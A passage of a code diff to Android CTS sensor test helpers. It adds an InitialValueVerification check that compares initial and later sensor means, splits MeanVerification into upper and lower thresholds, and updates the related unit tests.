+++ b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/TestSensorOperation.java
@@ -40,6 +40,7 @@
 import android.hardware.cts.helpers.sensorverification.JitterVerification;
 import android.hardware.cts.helpers.sensorverification.MagnitudeVerification;
 import android.hardware.cts.helpers.sensorverification.MeanVerification;
+import android.hardware.cts.helpers.sensorverification.InitialValueVerification;
 import android.hardware.cts.helpers.sensorverification.StandardDeviationVerification;
 import android.os.Handler;
 import android.os.SystemClock;
@@ -110,6 +111,7 @@
         addVerification(MeanVerification.getDefault(mEnvironment));
         addVerification(StandardDeviationVerification.getDefault(mEnvironment));
         addVerification(EventTimestampSynchronizationVerification.getDefault(mEnvironment));
+        addVerification(InitialValueVerification.getDefault(mEnvironment));
     }
 
     public void addVerification(ISensorVerification verification) {
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventBasicVerificationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventBasicVerificationTest.java
index 34be3c4..b682ac5 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventBasicVerificationTest.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventBasicVerificationTest.java
@@ -65,7 +65,7 @@
 
         try {
             verification.verify(stats);
-            fail("Expect an AssertionError due to insufficient samples");
+            throw new Error("Expect an AssertionError due to insufficient samples");
         } catch (AssertionError e) {
             //Expected
         }
@@ -81,7 +81,7 @@
 
             try {
                 verification.verify(stats);
-                fail("Expect an AssertionError due to wrong sensor event");
+                throw new Error("Expect an AssertionError due to wrong sensor event");
             } catch (AssertionError e) {
                 //Expected
             }
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventOrderingVerificationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventOrderingVerificationTest.java
index f1dc229c8..9cb7436 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventOrderingVerificationTest.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventOrderingVerificationTest.java
@@ -58,7 +58,7 @@
         EventOrderingVerification verification = getVerification(0, 2, 1, 3, 4);
         try {
             verification.verify(stats);
-            fail("Expected an AssertionError");
+            throw new Error("Expected an AssertionError");
         } catch (AssertionError e) {
             // Expected;
         }
@@ -75,7 +75,7 @@
         EventOrderingVerification verification = getVerification(4, 0, 1, 2, 3);
         try {
             verification.verify(stats);
-            fail("Expected an AssertionError");
+            throw new Error("Expected an AssertionError");
         } catch (AssertionError e) {
             // Expected;
         }
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/FrequencyVerificationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/FrequencyVerificationTest.java
index bbf022a..8780a7d 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/FrequencyVerificationTest.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/FrequencyVerificationTest.java
@@ -55,7 +55,7 @@
         verification = getVerification(850.0, 975.0, timestamps);
         try {
             verification.verify(getEnvironment(950), stats);
-            fail("Expected an AssertionError");
+            throw new Error("Expected an AssertionError");
         } catch (AssertionError e) {
             // Expected;
         }
@@ -65,7 +65,7 @@
         verification = getVerification(1025.0, 1150.0, timestamps);
         try {
             verification.verify(getEnvironment(1050), stats);
-            fail("Expected an AssertionError");
+            throw new Error("Expected an AssertionError");
         } catch (AssertionError e) {
             // Expected;
         }
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/InitialValueVerification.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/InitialValueVerification.java
new file mode 100644
index 0000000..da6a013
--- /dev/null
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/InitialValueVerification.java
@@ -0,0 +1,187 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.hardware.cts.helpers.sensorverification;
+
+import android.hardware.Sensor;
+import android.hardware.cts.helpers.SensorCtsHelper;
+import android.hardware.cts.helpers.SensorStats;
+import android.hardware.cts.helpers.TestSensorEnvironment;
+import android.hardware.cts.helpers.TestSensorEvent;
+import android.util.Pair;
+
+import junit.framework.Assert;
+
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * A {@link ISensorVerification} which verifies that there are no ramps when starting the
+ * collection. To verify this, we compute the mean value at the beginning of the collection and
+ * compare it to the mean value at the end of the collection.
+ */
+public class InitialValueVerification extends AbstractSensorVerification {
+    public static final String PASSED_KEY = "initial_value_passed";
+    // Default length of the initial window: 2 seconds in ns
+    private static final long DEFAULT_INITIAL_WINDOW_LENGTH = 2_000_000_000L;
+
+    // sensorType: max absolute delta between the two means and initial window length
+    private static final Map<Integer, Pair<Float, Long>> DEFAULTS =
+        new HashMap<Integer, Pair<Float, Long>>(12);
+
+    static {
+        // Use a method so that the @deprecation warning can be set for that method only
+        setDefaults();
+    }
+
+    // First time stamp in nano seconds
+    private long mFirstTimestamp;
+    private float[] mInitialSum = null;
+    private int mInitialCount = 0;
+    private float[] mLaterSum = null;
+    private int mLaterCount = 0;
+
+    private final float mMaxAbsoluteDelta;
+    private final long mInitialWindowLength;
+
+    /**
+     * Construct a {@link InitialValueVerification}
+     *
+     * @param maxAbsoluteDelta the acceptable max absolute delta between the two means.
+     */
+    public InitialValueVerification(float maxAbsoluteDelta, long initialWindowLength) {
+        mMaxAbsoluteDelta = maxAbsoluteDelta;
+        mInitialWindowLength = initialWindowLength;
+    }
+
+    /**
+     * Get the default {@link InitialValueVerification} for a sensor.
+     *
+     * @param environment the test environment
+     * @return the verification or null if the verification does not apply to the sensor.
+     */
+    public static InitialValueVerification getDefault(TestSensorEnvironment environment) {
+        int sensorType = environment.getSensor().getType();
+        if (!DEFAULTS.containsKey(sensorType)) {
+            return null;
+        }
+        Pair<Float, Long> maxAbsoluteDeltaAndInitialWindowLength = DEFAULTS.get(sensorType);
+        return new InitialValueVerification(maxAbsoluteDeltaAndInitialWindowLength.first,
+                                            maxAbsoluteDeltaAndInitialWindowLength.second);
+    }
+
+    /**
+     * Verify that the mean at the initial window and later are similar to each other. Add
+     * {@value #PASSED_KEY}, {@value SensorStats#INITIAL_MEAN_KEY},
+     * {@value SensorStats#LATER_MEAN_KEY} keys to {@link SensorStats}.
+     *
+     * @throws AssertionError if the verification failed.
+     */
+    @Override
+    public void verify(TestSensorEnvironment environment, SensorStats stats) {
+        verify(stats);
+    }
+
+    /**
+     * Visible for unit tests only.
+     */
+    void verify(SensorStats stats) {
+        if (mInitialCount == 0) {
+            Assert.fail("Didn't collect any measurements");
+        }
+        if (mLaterCount == 0) {
+            Assert.fail(String.format("Didn't collect any measurements after %dns",
+                    mInitialWindowLength));
+        }
+        float[] initialMeans = new float[mInitialSum.length];
+        float[] laterMeans = new float[mInitialSum.length];
+        boolean success = true;
+        for (int i = 0; i < mInitialSum.length; i++) {
+            initialMeans[i] = mInitialSum[i] / mInitialCount;
+            laterMeans[i] = mLaterSum[i] / mLaterCount;
+            if (Math.abs(initialMeans[i] - laterMeans[i]) > mMaxAbsoluteDelta) {
+                success = false;
+            }
+        }
+        stats.addValue(SensorStats.INITIAL_MEAN_KEY, initialMeans);
+        stats.addValue(SensorStats.LATER_MEAN_KEY, laterMeans);
+        stats.addValue(PASSED_KEY, success);
+        if (!success) {
+            Assert.fail(String.format(
+                    "Means too far from each other: initial means = %s,"
+                            + "later means = %s, max allowed delta = %.2f",
+                    SensorCtsHelper.formatFloatArray(initialMeans),
+                    SensorCtsHelper.formatFloatArray(laterMeans),
+                    mMaxAbsoluteDelta));
+        }
+    }
+
+    /** {@inheritDoc} */
+    @Override
+    public InitialValueVerification clone() {
+        return new InitialValueVerification(mMaxAbsoluteDelta, mInitialWindowLength);
+    }
+
+    /** {@inheritDoc} */
+    @Override
+    protected void addSensorEventInternal(TestSensorEvent event) {
+        if (mInitialSum == null) {
+            mFirstTimestamp = event.timestamp;
+            mInitialSum = new float[event.values.length];
+            mLaterSum = new float[event.values.length];
+        }
+        if (event.timestamp - mFirstTimestamp <= mInitialWindowLength) {
+            for (int i = 0; i < event.values.length; i++) {
+                mInitialSum[i] += event.values[i];
+            }
+            mInitialCount++;
+        } else {
+            for (int i = 0; i < event.values.length; i++) {
+                mLaterSum[i] += event.values[i];
+            }
+            mLaterCount++;
+        }
+    }
+
+    @SuppressWarnings("deprecation")
+    private static void setDefaults() {
+        DEFAULTS.put(Sensor.TYPE_ACCELEROMETER,
+                new Pair<Float, Long>(Float.MAX_VALUE, DEFAULT_INITIAL_WINDOW_LENGTH));
+        DEFAULTS.put(Sensor.TYPE_MAGNETIC_FIELD,
+                new Pair<Float, Long>(Float.MAX_VALUE, DEFAULT_INITIAL_WINDOW_LENGTH));
+        DEFAULTS.put(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED,
+                new Pair<Float, Long>(Float.MAX_VALUE, DEFAULT_INITIAL_WINDOW_LENGTH));
+        DEFAULTS.put(Sensor.TYPE_GYROSCOPE,
+                new Pair<Float, Long>(Float.MAX_VALUE, DEFAULT_INITIAL_WINDOW_LENGTH));
+        DEFAULTS.put(Sensor.TYPE_GYROSCOPE_UNCALIBRATED,
+                new Pair<Float, Long>(Float.MAX_VALUE, DEFAULT_INITIAL_WINDOW_LENGTH));
+        DEFAULTS.put(Sensor.TYPE_ORIENTATION,
+                new Pair<Float, Long>(Float.MAX_VALUE, DEFAULT_INITIAL_WINDOW_LENGTH));
+        // Very tight absolute delta for the barometer.
+        DEFAULTS.put(Sensor.TYPE_PRESSURE,
+                new Pair<Float, Long>(3f, DEFAULT_INITIAL_WINDOW_LENGTH));
+        DEFAULTS.put(Sensor.TYPE_GRAVITY,
+                new Pair<Float, Long>(Float.MAX_VALUE, DEFAULT_INITIAL_WINDOW_LENGTH));
+        DEFAULTS.put(Sensor.TYPE_LINEAR_ACCELERATION,
+                new Pair<Float, Long>(Float.MAX_VALUE, DEFAULT_INITIAL_WINDOW_LENGTH));
+        DEFAULTS.put(Sensor.TYPE_ROTATION_VECTOR,
+                new Pair<Float, Long>(Float.MAX_VALUE, DEFAULT_INITIAL_WINDOW_LENGTH));
+        DEFAULTS.put(Sensor.TYPE_GAME_ROTATION_VECTOR,
+                new Pair<Float, Long>(Float.MAX_VALUE, DEFAULT_INITIAL_WINDOW_LENGTH));
+        DEFAULTS.put(Sensor.TYPE_GEOMAGNETIC_ROTATION_VECTOR,
+                new Pair<Float, Long>(Float.MAX_VALUE, DEFAULT_INITIAL_WINDOW_LENGTH));
+    }
+}
+
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/InitialValueVerificationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/InitialValueVerificationTest.java
new file mode 100644
index 0000000..5e28d26
--- /dev/null
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/InitialValueVerificationTest.java
@@ -0,0 +1,127 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.cts.helpers.sensorverification;
+
+import junit.framework.TestCase;
+
+import android.hardware.cts.helpers.SensorStats;
+import android.hardware.cts.helpers.TestSensorEnvironment;
+import android.hardware.cts.helpers.TestSensorEvent;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+import java.util.Random;
+
+/**
+ * Tests for {@link InitialValueVerification}.
+ */
+public class InitialValueVerificationTest extends TestCase {
+    private static final long INITIAL_WINDOW_LENGTH = 2_000_000_000L; // 2s
+    private static final long TOTAL_WINDOW_LENGTH = 5_000_000_000L; // 5s
+    private static final long SENSOR_PERIOD = 500_000_000L; // 0.5s
+    private static final float MAX_ABSOLUTE_DELTA = 3f;
+    private static final Random random = new Random(123L);
+    private static final float NOISE_STD = 0.01f;
+
+    /**
+     * Test {@link InitialValueVerification#verify(SensorStats)}.
+     */
+    public void testVerify() {
+        float[] initialValues = new float[] {80.4f, 12.3f, -67f};
+        verifyStatsWithTwoWindows(initialValues, initialValues, true);
+
+        // Only modify the first element in the array but close enough
+        float[] laterValues = new float[] {78.1f, 12.3f, -67f};
+        verifyStatsWithTwoWindows(initialValues, laterValues, true);
+        // Only modify the first element in the array but by more than the MAX_ABSOLUTE_DELTA
+        laterValues = new float[] {70.1f, 12.3f, -67f};
+        verifyStatsWithTwoWindows(initialValues, laterValues, false);
+
+        // Only modify the second element in the array but close enough
+        laterValues = new float[] {80.4f, 11.3f, -67f};
+        verifyStatsWithTwoWindows(initialValues, laterValues, true);
+        // Only modify the second element in the array but by more than the MAX_ABSOLUTE_DELTA
+        laterValues = new float[] {80.4f, 7.3f, -67f};
+        verifyStatsWithTwoWindows(initialValues, laterValues, false);
+
+        // Only modify the third element in the array but close enough
+        laterValues = new float[] {80.4f, 12.3f, -65f};
+        verifyStatsWithTwoWindows(initialValues, laterValues, true);
+        // Only modify the third element in the array but by more than the MAX_ABSOLUTE_DELTA
+        laterValues = new float[] {80.4f, 12.3f, 45f};
+        verifyStatsWithTwoWindows(initialValues, laterValues, false);
+    }
+
+    private static InitialValueVerification getVerification(Collection<TestSensorEvent> events,
+            float maxAbsoluteDelta, long initialWindowLength) {
+        InitialValueVerification verification =
+                new InitialValueVerification(maxAbsoluteDelta, initialWindowLength);
+        verification.addSensorEvents(events);
+        return verification;
+    }
+
+    private static void verifyStatsWithTwoWindows(float[] initialValues, float[] laterValues,
+            boolean pass) {
+        List<TestSensorEvent> events = new ArrayList<>();
+        // Initial window
+        for (long timestamp = 0L; timestamp <= INITIAL_WINDOW_LENGTH; timestamp += SENSOR_PERIOD) {
+            float[] initialValuesWithNoise = addNoise(initialValues);
+            events.add(new TestSensorEvent(null /* sensor */, timestamp, 0 /* accuracy */,
+                    initialValuesWithNoise));
+        }
+        // Later window
+        for (long timestamp = INITIAL_WINDOW_LENGTH
+                + SENSOR_PERIOD; timestamp <= TOTAL_WINDOW_LENGTH; timestamp += SENSOR_PERIOD) {
+            float[] laterValuesWithNoise = addNoise(laterValues);
+            events.add(new TestSensorEvent(null /* sensor */, timestamp, 0 /* accuracy */,
+                    laterValuesWithNoise));
+        }
+        SensorStats stats = new SensorStats();
+        InitialValueVerification verification =
+                getVerification(events, MAX_ABSOLUTE_DELTA, INITIAL_WINDOW_LENGTH);
+
+        try {
+            verification.verify(stats);
+            assertTrue(pass);
+        } catch (AssertionError e) {
+            assertFalse(pass);
+        }
+        verifyStats(stats, pass, initialValues, laterValues);
+    }
+
+    private static float[] addNoise(float[] values) {
+        float[] valuesWithNoise = new float[values.length];
+        for(int i = 0; i < values.length; i++) {
+            valuesWithNoise[i] = values[i] + random.nextFloat() * NOISE_STD;
+        }
+        return valuesWithNoise;
+    }
+
+    private static void verifyStats(SensorStats stats, boolean passed, float[] initialMeans,
+            float[] laterMeans) {
+        assertEquals(passed, stats.getValue(InitialValueVerification.PASSED_KEY));
+        float[] actualInitialMeans = (float[]) stats.getValue(SensorStats.INITIAL_MEAN_KEY);
+        float[] actualLaterMeans = (float[]) stats.getValue(SensorStats.LATER_MEAN_KEY);
+        assertEquals(initialMeans.length, actualInitialMeans.length);
+        assertEquals(laterMeans.length, actualLaterMeans.length);
+        for (int i = 0; i < initialMeans.length; i++) {
+            assertEquals(initialMeans[i], actualInitialMeans[i], 0.1);
+            assertEquals(laterMeans[i], actualLaterMeans[i], 0.1);
+        }
+    }
+}
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/JitterVerificationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/JitterVerificationTest.java
index d8e1586..4ac4999 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/JitterVerificationTest.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/JitterVerificationTest.java
@@ -62,7 +62,7 @@
         verification = getVerification(1, timestamps);
         try {
             verification.verify(environment, stats);
-            fail("Expected an AssertionError");
+            throw new Error("Expected an AssertionError");
         } catch (AssertionError e) {
             // Expected;
         }
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MagnitudeVerificationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MagnitudeVerificationTest.java
index ac873c1..dfd951d 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MagnitudeVerificationTest.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MagnitudeVerificationTest.java
@@ -57,7 +57,7 @@
         } else {
             try {
                 verification.verify(stats);
-                fail("Expected an AssertionError");
+                throw new Error("Expected an AssertionError");
             } catch (AssertionError e) {
                 // Expected;
             }
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerification.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerification.java
index 6603895..17882d7 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerification.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerification.java
@@ -20,6 +20,7 @@
 
 import android.hardware.Sensor;
 import android.hardware.SensorManager;
+import android.hardware.cts.helpers.SensorCtsHelper;
 import android.hardware.cts.helpers.SensorStats;
 import android.hardware.cts.helpers.TestSensorEnvironment;
 
@@ -33,24 +34,28 @@
     public static final String PASSED_KEY = "mean_passed";
 
     // sensorType: {expected, threshold}
-    private static final Map<Integer, Object[]> DEFAULTS = new HashMap<Integer, Object[]>(5);
+    private static final Map<Integer, ExpectedValuesAndThresholds> DEFAULTS
+        = new HashMap<Integer, ExpectedValuesAndThresholds>(5);
     static {
         // Use a method so that the @deprecation warning can be set for that method only
         setDefaults();
     }
 
     private final float[] mExpected;
-    private final float[] mThreshold;
+    private final float[] mUpperThresholds;
+    private final float[] mLowerThresholds;
 
     /**
      * Construct a {@link MeanVerification}
      *
      * @param expected the expected values
-     * @param threshold the thresholds
+     * @param upperThresholds the upper thresholds
+     * @param lowerThresholds the lower thresholds
      */
-    public MeanVerification(float[] expected, float[] threshold) {
+    public MeanVerification(float[] expected, float[] upperThresholds, float[] lowerThresholds) {
         mExpected = expected;
-        mThreshold = threshold;
+        mUpperThresholds = upperThresholds;
+        mLowerThresholds = lowerThresholds;
     }
 
     /**
@@ -64,9 +69,10 @@
         if (!DEFAULTS.containsKey(sensorType)) {
             return null;
         }
-        float[] expected = (float[]) DEFAULTS.get(sensorType)[0];
-        float[] threshold = (float[]) DEFAULTS.get(sensorType)[1];
-        return new MeanVerification(expected, threshold);
+        float[] expected = DEFAULTS.get(sensorType).mExpectedValues;
+        float[] upperThresholds = DEFAULTS.get(sensorType).mUpperThresholds;
+        float[] lowerThresholds = DEFAULTS.get(sensorType).mLowerThresholds;
+        return new MeanVerification(expected, upperThresholds, lowerThresholds);
     }
 
     /**
@@ -92,66 +98,104 @@
         float[] means = getMeans();
 
         boolean failed = false;
-        StringBuilder meanSb = new StringBuilder();
-        StringBuilder expectedSb = new StringBuilder();
-
-        if (means.length > 1) {
-            meanSb.append("(");
-            expectedSb.append("(");
-        }
         for (int i = 0; i < means.length; i++) {
-            if (Math.abs(means[i] - mExpected[i]) > mThreshold[i]) {
+            if (means[i]  > mExpected[i] + mUpperThresholds[i]) {
                 failed = true;
             }
-            meanSb.append(String.format("%.2f", means[i]));
-            if (i != means.length - 1) meanSb.append(", ");
-            expectedSb.append(String.format("%.2f+/-%.2f", mExpected[i], mThreshold[i]));
-            if (i != means.length - 1) expectedSb.append(", ");
-        }
-        if (means.length > 1) {
-            meanSb.append(")");
-            expectedSb.append(")");
+            if (means[i] < mExpected[i] - mLowerThresholds[i]) {
+                failed = true;
+            }
         }
 
         stats.addValue(PASSED_KEY, !failed);
         stats.addValue(SensorStats.MEAN_KEY, means);
 
         if (failed) {
-            Assert.fail(String.format("Mean out of range: mean=%s (expected %s)", meanSb.toString(),
-                    expectedSb.toString()));
+            Assert.fail(String.format("Mean out of range: mean=%s (expected %s)",
+                    SensorCtsHelper.formatFloatArray(means),
+                    SensorCtsHelper.formatFloatArray(mExpected)));
         }
     }
 
     @Override
     public MeanVerification clone() {
-        return new MeanVerification(mExpected, mThreshold);
+        return new MeanVerification(mExpected, mUpperThresholds, mLowerThresholds);
     }
 
     @SuppressWarnings("deprecation")
     private static void setDefaults() {
         // Sensors that we don't want to test at this time but still want to record the values.
         // Gyroscope should be 0 for a static device
-        DEFAULTS.put(Sensor.TYPE_GYROSCOPE, new Object[]{
-                new float[]{0.0f, 0.0f, 0.0f},
-                new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE}});
+        DEFAULTS.put(Sensor.TYPE_GYROSCOPE,
+            new ExpectedValuesAndThresholds(new float[]{0.0f, 0.0f, 0.0f},
+                                            new float[]{Float.MAX_VALUE,
+                                                        Float.MAX_VALUE,
+                                                        Float.MAX_VALUE},
+                                            new float[]{Float.MAX_VALUE,
+                                                        Float.MAX_VALUE,
+                                                        Float.MAX_VALUE}));
         // Pressure will not be exact in a controlled environment but should be relatively close to
-        // sea level. Second values should always be 0.
-        DEFAULTS.put(Sensor.TYPE_PRESSURE, new Object[]{
-                new float[]{SensorManager.PRESSURE_STANDARD_ATMOSPHERE, 0.0f, 0.0f},
-                new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE}});
+        // sea level (400HPa and 200HPa are very lax thresholds).
+        // Second values should always be 0.
+        DEFAULTS.put(Sensor.TYPE_PRESSURE,
+            new ExpectedValuesAndThresholds(new float[]{SensorManager.PRESSURE_STANDARD_ATMOSPHERE,
+                                                        0.0f,
+                                                        0.0f},
+                                            new float[]{100f,
+                                                        Float.MAX_VALUE,
+                                                        Float.MAX_VALUE},
+                                            new float[]{400f,
+                                                        Float.MAX_VALUE,
+                                                        Float.MAX_VALUE}));
         // Linear acceleration should be 0 in all directions for a static device
-        DEFAULTS.put(Sensor.TYPE_LINEAR_ACCELERATION, new Object[]{
-                new float[]{0.0f, 0.0f, 0.0f},
-                new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE}});
+        DEFAULTS.put(Sensor.TYPE_LINEAR_ACCELERATION,
+            new ExpectedValuesAndThresholds(new float[]{0.0f, 0.0f, 0.0f},
+                                            new float[]{Float.MAX_VALUE,
+                                                        Float.MAX_VALUE,
+                                                        Float.MAX_VALUE},
+                                            new float[]{Float.MAX_VALUE,
+                                                        Float.MAX_VALUE,
+                                                        Float.MAX_VALUE}));
         // Game rotation vector should be (0, 0, 0, 1, 0) for a static device
-        DEFAULTS.put(Sensor.TYPE_GAME_ROTATION_VECTOR, new Object[]{
-                new float[]{0.0f, 0.0f, 0.0f, 1.0f, 0.0f},
-                new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE,
-                        Float.MAX_VALUE}});
+        DEFAULTS.put(Sensor.TYPE_GAME_ROTATION_VECTOR,
+            new ExpectedValuesAndThresholds(new float[]{0.0f, 0.0f, 0.0f, 1.0f, 0.0f},
+                                            new float[]{Float.MAX_VALUE,
+                                                        Float.MAX_VALUE,
+                                                        Float.MAX_VALUE,
+                                                        Float.MAX_VALUE,
+                                                        Float.MAX_VALUE},
+                                            new float[]{Float.MAX_VALUE,
+                                                        Float.MAX_VALUE,
+                                                        Float.MAX_VALUE,
+                                                        Float.MAX_VALUE,
+                                                        Float.MAX_VALUE}));
         // Uncalibrated gyroscope should be 0 for a static device but allow a bigger threshold
-        DEFAULTS.put(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, new Object[]{
-                new float[]{0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f},
-                new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE,
-                        Float.MAX_VALUE, Float.MAX_VALUE}});
+        DEFAULTS.put(Sensor.TYPE_GYROSCOPE_UNCALIBRATED,
+            new ExpectedValuesAndThresholds(new float[]{0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f},
+                                            new float[]{Float.MAX_VALUE,
+                                                        Float.MAX_VALUE,
+                                                        Float.MAX_VALUE,
+                                                        Float.MAX_VALUE,
+                                                        Float.MAX_VALUE,
+                                                        Float.MAX_VALUE},
+                                            new float[]{Float.MAX_VALUE,
+                                                        Float.MAX_VALUE,
+                                                        Float.MAX_VALUE,
+                                                        Float.MAX_VALUE,
+                                                        Float.MAX_VALUE,
+                                                        Float.MAX_VALUE}));
+    }
+
+    private static final class ExpectedValuesAndThresholds {
+        private float[] mExpectedValues;
+        private float[] mUpperThresholds;
+        private float[] mLowerThresholds;
+        private ExpectedValuesAndThresholds(float[] expectedValues,
+                                            float[] upperThresholds,
+                                            float[] lowerThresholds) {
+            mExpectedValues = expectedValues;
+            mUpperThresholds = upperThresholds;
+            mLowerThresholds = lowerThresholds;
+        }
     }
 }
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerificationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerificationTest.java
index d7fcf9f..6661e78 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerificationTest.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerificationTest.java
@@ -29,6 +29,7 @@
  * Tests for {@link MeanVerification}.
  */
 public class MeanVerificationTest extends TestCase {
+    private static final float[] MEANS = {2.0f, 3.0f, 6.0f};
 
     /**
      * Test {@link MeanVerification#verify(TestSensorEnvironment, SensorStats)}.
@@ -43,62 +44,106 @@
         };
 
         float[] expected = {2.0f, 3.0f, 6.0f};
-        float[] threshold = {0.1f, 0.1f, 0.1f};
+        float[] upperThresholds = {0.3f, 0.3f, 0.3f};
+        float[] lowerThresholds = {0.1f, 0.1f, 0.1f};
         SensorStats stats = new SensorStats();
-        MeanVerification verification = getVerification(expected, threshold, values);
+        MeanVerification verification =
+            getVerification(expected, upperThresholds, lowerThresholds, values);
         verification.verify(stats);
-        verifyStats(stats, true, new float[]{2.0f, 3.0f, 6.0f});
+        verifyStats(stats, true, MEANS);
 
-        expected = new float[]{2.5f, 2.5f, 5.5f};
-        threshold = new float[]{0.6f, 0.6f, 0.6f};
+        // Test the lower threshold
+        expected = new float[]{2.4f, 3.3f, 6.4f};
+        lowerThresholds = new float[]{0.6f, 0.6f, 0.6f};
         stats = new SensorStats();
-        verification = getVerification(expected, threshold, values);
+        verification = getVerification(expected, upperThresholds, lowerThresholds, values);
         verification.verify(stats);
-        verifyStats(stats, true, new float[]{2.0f, 3.0f, 6.0f});
+        verifyStats(stats, true, MEANS);
 
-        expected = new float[]{2.5f, 2.5f, 5.5f};
-        threshold = new float[]{0.1f, 0.6f, 0.6f};
+        lowerThresholds = new float[]{0.1f, 0.6f, 0.6f};
         stats = new SensorStats();
-        verification = getVerification(expected, threshold, values);
+        verification = getVerification(expected, upperThresholds, lowerThresholds, values);
         try {
             verification.verify(stats);
-            fail("Expected an AssertionError");
+            throw new Error("Expected an AssertionError");
         } catch (AssertionError e) {
             // Expected;
         }
-        verifyStats(stats, false, new float[]{2.0f, 3.0f, 6.0f});
+        verifyStats(stats, false, MEANS);
 
-        expected = new float[]{2.5f, 2.5f, 5.5f};
-        threshold = new float[]{0.6f, 0.1f, 0.6f};
+        lowerThresholds = new float[]{0.6f, 0.1f, 0.6f};
         stats = new SensorStats();
-        verification = getVerification(expected, threshold, values);
+        verification = getVerification(expected, upperThresholds, lowerThresholds, values);
         try {
             verification.verify(stats);
-            fail("Expected an AssertionError");
+            throw new Error("Expected an AssertionError");
         } catch (AssertionError e) {
             // Expected;
         }
-        verifyStats(stats, false, new float[]{2.0f, 3.0f, 6.0f});
+        verifyStats(stats, false, MEANS);
 
-        threshold = new float[]{0.6f, 0.6f, 0.1f};
+        lowerThresholds = new float[]{0.6f, 0.6f, 0.1f};
         stats = new SensorStats();
-        verification = getVerification(expected, threshold, values);
+        verification = getVerification(expected, upperThresholds, lowerThresholds, values);
         try {
             verification.verify(stats);
-            fail("Expected an AssertionError");
+            throw new Error("Expected an AssertionError");
         } catch (AssertionError e) {
             // Expected;
         }
-        verifyStats(stats, false, new float[]{2.0f, 3.0f, 6.0f});
+        verifyStats(stats, false, MEANS);
+
+        // Test the upper threshold
+        expected = new float[]{1.5f, 2.8f, 5.7f};
+        upperThresholds = new float[]{0.6f, 0.6f, 0.6f};
+        lowerThresholds = new float[]{0.1f, 0.1f, 0.1f};
+        stats = new SensorStats();
+        verification = getVerification(expected, upperThresholds, lowerThresholds, values);
+        verification.verify(stats);
+        verifyStats(stats, true, MEANS);
+
+        upperThresholds = new float[]{0.1f, 0.6f, 0.6f};
+        stats = new SensorStats();
+        verification = getVerification(expected, upperThresholds, lowerThresholds, values);
+        try {
+            verification.verify(stats);
+            throw new Error("Expected an AssertionError");
+        } catch (AssertionError e) {
+            // Expected;
+        }
+        verifyStats(stats, false, MEANS);
+
+        upperThresholds = new float[]{0.6f, 0.1f, 0.6f};
+        stats = new SensorStats();
+        verification = getVerification(expected, upperThresholds, lowerThresholds, values);
+        try {
